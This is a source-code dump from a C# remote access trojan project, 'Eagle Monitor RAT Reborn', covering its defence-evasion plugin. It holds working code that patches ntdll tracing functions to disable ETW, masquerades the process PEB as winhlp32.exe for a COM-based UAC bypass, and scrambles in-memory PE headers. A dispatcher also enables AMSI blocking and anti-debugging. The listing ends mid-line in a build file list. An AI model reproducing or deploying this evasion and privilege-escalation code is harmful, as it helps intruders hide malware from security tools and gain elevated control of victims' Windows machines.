[MarshalAs(UnmanagedType.U1)] public bool BeingDebugged; public PebFlags PebFlags; public IntPtr Mutant; public IntPtr ImageBaseAddress; public IntPtr Ldr; // PPEB_LDR_DATA public IntPtr ProcessParameters; // PRTL_USER_PROCESS_PARAMETERS public IntPtr SubSystemData; public IntPtr ProcessHeap; public IntPtr FastPebLock; public IntPtr FastPebLockRoutine;// -> PPEBLOCKROUTINE public IntPtr FastPebUnlockRoutine; public uint EnvironmentUpdateCount; public IntPtr KernelCallbackTable; public uint Reserved1; public uint Reserved2; public IntPtr FreeList;// -> PPEB_FREE_BLOCK public uint TlsExpansionCounter; public IntPtr TlsBitmap; // -> PRTL_BITMAP public uint TlsBitmapBits1; public uint TlsBitmapBits2; public IntPtr ReadOnlySharedMemoryBase; public IntPtr ReadOnlySharedMemoryHeap; public void** ReadOnlyStaticServerData; public IntPtr AnsiCodePageData; /* 058/0a0 */ public IntPtr OemCodePageData; /* 05c/0a8 */ public IntPtr UnicodeCaseTableData; /* 060/0b0 */ public uint NumberOfProcessors; public uint NtGlobalFlags; /// public LargeInteger CriticalSectionTimeout; /* LARGE_INTEGER */ public UIntPtr HeapSegmentReserve; /* SIZE_T */ public UIntPtr HeapSegmentCommit; /* SIZE_T */ public UIntPtr HeapDeCommitTotalFreeThreshold; /* SIZE_T */ public UIntPtr HeapDeCommitFreeBlockThreshold; /* SIZE_T */ public uint NumberOfHeaps; /* 088/0e8 */ public uint MaximumNumberOfHeaps; /* 08c/0ec */ public void** ProcessHeaps; /* PVOID* */ IntPtr GdiSharedHandleTable; /* PVOID */ IntPtr ProcessStarterHelper; /* PVOID */ IntPtr GdiDCAttributeList; /* PVOID */ IntPtr LoaderLock; /* PVOID */ public uint OSMajorVersion; /* ULONG */ public uint OSMinorVersion; /* ULONG */ public uint OSBuildNumber; /* ULONG */ //WORKS public uint OSPlatformId; /* ULONG */ public SubSystemType4Bytes ImageSubSystem; /* ULONG */ public uint ImageSubSystemMajorVersion; /* ULONG */ public uint ImageSubSystemMinorVersion; /* ULONG */ public uint ImageProcessAffinityMask; /* ULONG */ } [StructLayout(LayoutKind.Sequential)] internal struct ListEntry { public IntPtr Flink; public IntPtr Blink; } [StructLayout(LayoutKind.Sequential)] internal struct PebLdrData { public uint Length; public bool Initialized; public IntPtr SsHandle; public ListEntry InLoadOrderModuleList; public ListEntry InMemoryOrderModuleList; public ListEntry InInitializationOrderModuleList; public IntPtr EntryInProgress; } [StructLayout(LayoutKind.Sequential)] internal struct LdrDataTableEntry { public ListEntry InLoadOrderLinks; public ListEntry InMemoryOrderLinks; public ListEntry InInitializationOrderLinks; public IntPtr DllBase; //ModuleBaseAddress() public IntPtr EntryPoint; public uint SizeOfImage; public UnicodeString FullDllName; public UnicodeString BaseDllName; public uint Flags; public ushort LoadCount; public ushort TlsIndex; } #endregion #region "Misc" [StructLayout(LayoutKind.Sequential)] internal struct UnicodeString : IDisposable { public ushort Length; public ushort MaximumLength; private IntPtr buffer; public UnicodeString(string s) { Length = (ushort)(s.Length * 2); MaximumLength = (ushort)(Length + 2); buffer = Marshal.StringToHGlobalUni(s); } public void Dispose() { Marshal.FreeHGlobal(buffer); buffer = IntPtr.Zero; } public override string ToString() { return Marshal.PtrToStringUni(buffer); } } [StructLayout(LayoutKind.Explicit, Size = 8)] internal struct LargeInteger { [FieldOffset(0)] public long QuadPart; [FieldOffset(0)] public uint LowPart; [FieldOffset(4)] public int HighPart; [FieldOffset(0)] public int LowPartAsInt; [FieldOffset(0)] public uint LowPartAsUInt; [FieldOffset(4)] public int HighPartAsInt; [FieldOffset(4)] public uint HighPartAsUInt; } [StructLayout(LayoutKind.Sequential)] internal struct BIND_OPTS3 { public uint cbStruct; public uint grfFlags; public uint grfMode; public uint dwTickCountDeadline; public uint dwTrackFlags; public uint dwClassContext; public int locale; public IntPtr pServerInfo; // will be passing null, so type doesn't matter public IntPtr hwnd; } #endregion #region "Shutdown" internal enum HARDERROR_RESPONSE_OPTION : uint { OptionAbortRetryIgnore = 0, OptionOk = 1, OptionOkCancel = 2, OptionRetryCancel = 3, OptionYesNo = 4, OptionYesNoCancel = 5, OptionShutdownSystem = 6 } internal enum HARDERROR_RESPONSE : uint { ResponseReturnToCaller = 0, ResponseNotHandled = 1, ResponseAbort = 2, ResponseCancel = 3, ResponseIgnore = 4, ResponseNo = 5, ResponseOk = 6, ResponseRetry = 7, ResponseYes = 8 } internal enum RTL_PRIVILEGES : uint { SeCreateTokenPrivilege = 1, SeAssignPrimaryTokenPrivilege = 2, SeLockMemoryPrivilege = 3, SeIncreaseQuotaPrivilege = 4, SeUnsolicitedInputPrivilege = 5, SeMachineAccountPrivilege = 6, SeTcbPrivilege = 7, SeSecurityPrivilege = 8, SeTakeOwnershipPrivilege = 9, SeLoadDriverPrivilege = 10, SeSystemProfilePrivilege = 11, SeSystemtimePrivilege = 12, SeProfileSingleProcessPrivilege = 13, SeIncreaseBasePriorityPrivilege = 14, SeCreatePagefilePrivilege = 15, SeCreatePermanentPrivilege = 16, SeBackupPrivilege = 17, SeRestorePrivilege = 18, SeShutdownPrivilege = 19, SeDebugPrivilege = 20, SeAuditPrivilege = 21, SeSystemEnvironmentPrivilege = 22, SeChangeNotifyPrivilege = 23, SeRemoteShutdownPrivilege = 24, SeUndockPrivilege = 25, SeSyncAgentPrivilege = 26, SeEnableDelegationPrivilege = 27, SeManageVolumePrivilege = 28, SeImpersonatePrivilege = 29, SeCreateGlobalPrivilege = 30, SeTrustedCredManAccessPrivilege = 31, SeRelabelPrivilege = 32, SeIncreaseWorkingSetPrivilege = 33, SeTimeZonePrivilege = 34, SeCreateSymbolicLinkPrivilege = 35 } #endregion } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs ================================================ using System; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal class DelegatesHandling { internal unsafe static void PrepareDelegate() { IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory"); IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory"); IntPtr rtlInitUnicode = Resolver.GetExportAddress("ntdll.dll", "RtlInitUnicodeString"); IntPtr rtlEnterCritical = Resolver.GetExportAddress("ntdll.dll", "RtlEnterCriticalSection"); IntPtr rtlLeaveCritical = Resolver.GetExportAddress("ntdll.dll", "RtlLeaveCriticalSection"); IntPtr coGet = Resolver.GetExportAddress("ole32.dll", "CoGetObject"); ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory)); ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory)); rtlInitUnicodeString = (RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(rtlInitUnicode, typeof(RtlInitUnicodeString)); rtlEnterCriticalSection = (RtlEnterCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlEnterCritical, typeof(RtlEnterCriticalSection)); rtlLeaveCriticalSection = (RtlLeaveCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlLeaveCritical, typeof(RtlLeaveCriticalSection)); coGetObject = (CoGetObject)Marshal.GetDelegateForFunctionPointer(coGet, typeof(CoGetObject)); IntPtr loadLib = Resolver.GetExportAddress("kernel32.dll", "LoadLibraryW"); IntPtr virtualProt = Resolver.GetExportAddress("kernel32.dll", "VirtualProtect"); loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary)); virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect)); IntPtr rtlAdjustPriv = Resolver.GetExportAddress("ntdll.dll", "RtlAdjustPrivilege"); IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError"); rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege)); ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError)); ntProtectVirtualMemorySafe = (NtProtectVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemorySafe)); ntWriteVirtualMemorySafe = (NtWriteVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemorySafe)); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/ETW.cs ================================================ using System; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal static class ETW { /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] unsafe delegate NtStatus NtProtectVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint NumberOfBytesToProtect, PageAccessType NewAccessProtection, ref PageAccessType OldAccessProtection ); static NtProtectVirtualMemory ntProtectVirtualMemory; static void PrepareDelegate() { IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory"); ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory)); }*/ private static bool Patch(ref IntPtr address) { /* In 64 bit : 49 89 ca ; mov r10, rcx b8 5e 00 00 00 ; mov eax, 0x5E 0f 05 ; syscall c3 ; ret => c3 ; ret 89 ca ; mov edx, ecx b8 5e 00 00 00 ; mov eax, 0x5E 0f 05 ; syscall c3 ; ret In 32 bit (W10 & W11) : b8 5e 00 00 00 ; mov eax, 0x5E ba 40 8b 30 4b ; mov edx, 0x4B308B40 ff d2 ; call edx c2 10 00 ; ret 0x10 => c3 ; ret 5e 00 00 00 ; pop esi & add byte ptr ds:[eax], al ba 40 8b 30 4b ; add byte ptr ds:[edx+0x4B308B40], bh ff d2 ; call edx c2 10 00 ; ret 0x10 */ PageAccessType flOld = new PageAccessType(); PageAccessType flOldLast = new PageAccessType(); byte[] retOpcode = new byte[] { 0xC3 }; uint sizeHookCode = (uint)retOpcode.Length; if (address != IntPtr.Zero) { NtStatus n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld); if (n != NtStatus.Success) return false; Marshal.Copy(retOpcode, 0, address, retOpcode.Length); n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast); if (n != NtStatus.Success) return false; return true; } return false; } internal static bool BlockIt() { //PrepareDelegate(); IntPtr ntTraceEvent = Resolver.GetExportAddress("ntdll.dll", "NtTraceEvent"); IntPtr ntTraceControl = Resolver.GetExportAddress("ntdll.dll", "NtTraceControl"); IntPtr zwTraceEvent = Resolver.GetExportAddress("ntdll.dll", "ZwTraceEvent"); IntPtr zwTraceControl = Resolver.GetExportAddress("ntdll.dll", "ZwTraceControl"); bool b = Patch(ref ntTraceEvent); if (b) b = Patch(ref ntTraceControl); if (b) b = Patch(ref zwTraceEvent); if (b) b = Patch(ref zwTraceControl); return b; } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/PEB.cs ================================================ using System; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR : UAC bypass method from Oddvar Moe aka api0cradle. || * ucmCMLuaUtilShellExecMethod * * Purpose: * * Bypass UAC using AutoElevated undocumented CMLuaUtil interface. * This function expects that supMasqueradeProcess was called on process initialization. * || Original C# version : https://github.com/0xlane/BypassUAC || || github : https://github.com/arsium || || This method combines PEB masquerading + abusing com object. Reworked imports in C# to make it working again :) || */ namespace Offline.Special { internal class PEB { private static bool IsWOW64() => IntPtr.Size == 4; private static IntPtr StructureToPtr(object obj) { IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj)); Marshal.StructureToPtr(obj, ptr, false); return ptr; } private unsafe static void McfInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string uniStr) { UnicodeString masq = new UnicodeString(uniStr); IntPtr masqPtr = StructureToPtr(masq); UIntPtr lpNumberOfBytesWritten = UIntPtr.Zero; uint sizeStruct = (uint)Marshal.SizeOf(typeof(UnicodeString)); PageAccessType flOld = new PageAccessType(); ntProtectVirtualMemory((void*)procHandle, (void*)lpDestAddress, &sizeStruct, PageAccessType.PAGE_READWRITE, &flOld); ntWriteVirtualMemory(procHandle, lpDestAddress, masqPtr, (UIntPtr)Marshal.SizeOf(typeof(UnicodeString)), out lpNumberOfBytesWritten); } [UnmanagedFunctionPointer(CallingConvention.Cdecl)] private delegate IntPtr GetPeb(); internal static void MasqueradePEB() { IntPtr FullDllNamePtr, BaseDllNamePtr; PEB32 peb32; PEB64 peb64; PebLdrData pld; ProcessBasicInformation pbi = new ProcessBasicInformation(); IntPtr procHandle = CurrentProc; IntPtr pbiPtr = StructureToPtr(pbi); //NtStatus Status = ntQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref result); if (true)//(IsSuccess(Status)) { pbi = (ProcessBasicInformation)Marshal.PtrToStructure(pbiPtr, typeof(ProcessBasicInformation)); if (IsWOW64()) { //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ; IntPtr getPeb = GetPebAddressDynamicWithoutAllocate(); peb32 = (PEB32)Marshal.PtrToStructure(getPeb, typeof(PEB32)); pld = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData)); PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData)); IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink; IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink; rtlEnterCriticalSection(peb32.FastPebLock); FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24); BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C); do { LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry)); if (ldte.DllBase == peb32.ImageBaseAddress) { McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe"); McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe"); break; } pNextModuleInfo = ldte.InLoadOrderLinks.Flink; } while (pNextModuleInfo != pStartModuleInfo); rtlLeaveCriticalSection(peb32.FastPebLock); } else { //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ; IntPtr getPeb = GetPebAddressDynamicWithoutAllocate(); peb64 = (PEB64)Marshal.PtrToStructure(getPeb, typeof(PEB64)); pld = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData)); PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData)); IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink; IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink; rtlEnterCriticalSection(peb64.FastPebLock); FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48); BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58); do { LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry)); if (ldte.DllBase == peb64.ImageBaseAddress) { McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe"); McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe"); break; } pNextModuleInfo = ldte.InLoadOrderLinks.Flink; } while (pNextModuleInfo != pStartModuleInfo); rtlLeaveCriticalSection(peb64.FastPebLock); } return; } } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs ================================================ using System; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || || This technique randomizes some PE fields. Some of those fields cannot be random otherwise the process will crash. || */ namespace Offline.Special { internal static class PEFromPEB { /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus NtProtectVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint NumberOfBytesToProtect, PageAccessType NewAccessProtection, ref PageAccessType OldAccessProtection ); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus NtWriteVirtualMemory ( IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, uint NumberOfBytesToWrite, out uint NumberOfBytesWritten ); static NtProtectVirtualMemory ntProtectVirtualMemory; static NtWriteVirtualMemory ntWriteVirtualMemory; static void PrepareDelegate() { IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory"); ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory)); IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory"); ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory)); }*/ private static byte[] GetByteArray(int sizeInKb) { Random rnd = new Random(); byte[] b = new byte[sizeInKb * 1024]; // convert kb to byte rnd.NextBytes(b); return b; } internal unsafe static bool BlockIt() { //PrepareDelegate(); NtStatus n; if (IntPtr.Size == 4) { PEB32 peb32 = (PEB32)Marshal.PtrToStructure(GetPebAddressDynamicWithoutAllocate(), typeof(PEB32)); ImageDosHeader dos32 = ReadStructAt(peb32.ImageBaseAddress); IntPtr address = peb32.ImageBaseAddress + 2; uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6); PageAccessType oldOne = new PageAccessType(); n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); if (n != NtStatus.Success) return false; //Patching DOS (keeping the magic field with MZ) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); //Patching File Header (keeping signature field (PE) + machine) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); //Patching Optional Header (keeping all ImageDataDirectory) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _); //Setting old protection n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); } else { PEB64 peb64 = (PEB64)Marshal.PtrToStructure(GetPebAddressDynamicWithoutAllocate(), typeof(PEB64)); ImageDosHeader dos64 = ReadStructAt(peb64.ImageBaseAddress); IntPtr address = peb64.ImageBaseAddress + 2; uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6); PageAccessType oldOne = new PageAccessType(); n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); if (n != NtStatus.Success) return false; //Patching DOS (keeping the magic field with MZ) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); //Patching File Header (keeping signature field (PE) + machine) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); //Patching Optional Header (keeping all ImageDataDirectory) n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _); //Setting old protection n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); } if (n == NtStatus.Success) return true; return false; } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Parser.cs ================================================ using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { public static class Parser { public enum HRESULT : long { S_FALSE = 0x0001, S_OK = 0x0000, E_INVALIDARG = 0x80070057, E_OUTOFMEMORY = 0x8007000E } public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false, bool bypassUAC = false) { DelegatesHandling.PrepareDelegate(); if (bypassUAC) { PEB.MasqueradePEB(); COM.Start(Application.ExecutablePath); } if (antiDBG && AntiDBG.isThreadLaunched == false) AntiDBG.BlockIt(); if (amsiBlock) AMSI.BlockIt(); if (etwBlock) ETW.BlockIt(); if (erasePEFromPEB) PEFromPEB.BlockIt(); } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/Special/Resolver.cs ================================================ using System; using System.Collections.Generic; using System.Runtime.InteropServices; using static Offline.Special.Commons; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Offline.Special { internal static class Resolver { internal unsafe static IntPtr GetModuleBaseAddress(string name, IntPtr processH) { int nHandleInfoSize = (int)sizeof(ProcessBasicInformation); IntPtr ipHandlePointer = Marshal.AllocHGlobal((int)nHandleInfoSize); uint nLength = 0; NtStatus n = NtQueryInformationProcess(processH, ProcessInfoClass.ProcessBasicInformation, ipHandlePointer, (uint)nHandleInfoSize, out nLength); if (n != NtStatus.Success) return IntPtr.Zero; ProcessBasicInformation processBasicInformation = new ProcessBasicInformation(); processBasicInformation = (ProcessBasicInformation)Marshal.PtrToStructure(ipHandlePointer, processBasicInformation.GetType()); if (IntPtr.Size == 4) { PEB32 peb32 = new PEB32(); peb32 = (PEB32)Marshal.PtrToStructure(processBasicInformation.PebBaseAddress, peb32.GetType()); PebLdrData pebLdrData = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData)); //dte->DllBase != null for (LdrDataTableEntry* dte = (LdrDataTableEntry*)pebLdrData.InLoadOrderModuleList.Flink; dte->DllBase != IntPtr.Zero; dte = (LdrDataTableEntry*)dte->InLoadOrderLinks.Flink) { if (dte->BaseDllName.ToString().ToLower() == name) { return dte->DllBase; } } } else { PEB64 peb64 = new PEB64(); peb64 = (PEB64)Marshal.PtrToStructure(processBasicInformation.PebBaseAddress, peb64.GetType()); PebLdrData pebLdrData = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData)); //dte->DllBase != null for (LdrDataTableEntry* dte = (LdrDataTableEntry*)pebLdrData.InLoadOrderModuleList.Flink; dte->DllBase != IntPtr.Zero; dte = (LdrDataTableEntry*)dte->InLoadOrderLinks.Flink) { if (dte->BaseDllName.ToString().ToLower() == name) { return dte->DllBase; } } } return IntPtr.Zero; } internal static IntPtr GetExportAddress(string moduleName, string functionName) { Dictionary listOfFunctions = new Dictionary(); IntPtr moduleBaseAddr = GetModuleBaseAddress(moduleName, (IntPtr)(-1)); ImageDosHeader dosHeader = (ImageDosHeader)Marshal.PtrToStructure(moduleBaseAddr, typeof(ImageDosHeader)); if (IntPtr.Size == 4) { ImageOptionalHeader32 peHeader = (ImageOptionalHeader32)Marshal.PtrToStructure(moduleBaseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(ImageFileHeader)), typeof(ImageOptionalHeader32)); ImageExportDirectory exportHeader = (ImageExportDirectory)Marshal.PtrToStructure(moduleBaseAddr + (int)peHeader.ExportTable.VirtualAddress, typeof(ImageExportDirectory)); IntPtr pNames = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNames); IntPtr pNameOrdinals = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNameOrdinals); IntPtr pFunctions = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfFunctions); for (int i = 0; i <= exportHeader.NumberOfFunctions - 1; i++) { int rva = Marshal.ReadInt32(pFunctions, i * 4); if (rva != 0) { listOfFunctions.Add(exportHeader.OrdinalBase + i, new ExportedFunction() { Ordinal = exportHeader.OrdinalBase + i, RelativeAddress = rva, FullAddress = (IntPtr)((int)moduleBaseAddr + rva) }); } } for (int i = 0; i <= exportHeader.NumberOfNames - 1; i++) { int ordinal = exportHeader.OrdinalBase + Marshal.ReadInt16(pNameOrdinals, i * 2); ExportedFunction entry = listOfFunctions[ordinal]; IntPtr nameAddress = IntPtr.Add(moduleBaseAddr, Marshal.ReadInt32(pNames, i * 4)); entry.Name = Marshal.PtrToStringAnsi(nameAddress); if (entry.Name == functionName) return entry.FullAddress; } } else { ImageOptionalHeader64 peHeader = (ImageOptionalHeader64)Marshal.PtrToStructure(moduleBaseAddr + dosHeader.e_lfanew + 4 + Marshal.SizeOf(typeof(ImageFileHeader)), typeof(ImageOptionalHeader64)); ImageExportDirectory exportHeader = (ImageExportDirectory)Marshal.PtrToStructure(moduleBaseAddr + (int)peHeader.ExportTable.VirtualAddress, typeof(ImageExportDirectory)); IntPtr pNames = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNames); IntPtr pNameOrdinals = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfNameOrdinals); IntPtr pFunctions = IntPtr.Add(moduleBaseAddr, exportHeader.AddressOfFunctions); for (int i = 0; i <= exportHeader.NumberOfFunctions - 1; i++) { int rva = Marshal.ReadInt32(pFunctions, i * 4); if (rva != 0) { listOfFunctions.Add(exportHeader.OrdinalBase + i, new ExportedFunction() { Ordinal = exportHeader.OrdinalBase + i, RelativeAddress = rva, FullAddress = (IntPtr)((long)moduleBaseAddr + rva) }); } } for (int i = 0; i <= exportHeader.NumberOfNames - 1; i++) { int ordinal = exportHeader.OrdinalBase + Marshal.ReadInt16(pNameOrdinals, i * 2); ExportedFunction entry = listOfFunctions[ordinal]; IntPtr nameAddress = IntPtr.Add(moduleBaseAddr, Marshal.ReadInt32(pNames, i * 4)); entry.Name = Marshal.PtrToStringAnsi(nameAddress); if (entry.Name == functionName) return entry.FullAddress; } } return IntPtr.Zero; } public class ExportedFunction { public int Ordinal { get; set; } public string Name { get; set; } public int RelativeAddress { get; set; } public IntPtr FullAddress { get; set; } } } } ================================================ FILE: Remote Access Tool/Plugins/Offline/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.CoreCompileInputs.cache ================================================ 09234ae37459eb6d98685301512b000708156f2b ================================================ FILE: Remote Access Tool/Plugins/Offline/obj/Release/Offline.csproj.FileListAbsolute.txt ================================================ E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\Offline.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\Offline.pdb E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\PacketLib.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.pdb D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\Offline.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\Offline.pdb D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\bin\Release\PacketLib.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Offline\obj\Release\Offline.pdb C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\Offline.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Offline\bin\Release\PacketLib.dll C:\Users\arsium\source\repos\Eagle Monitor RAT 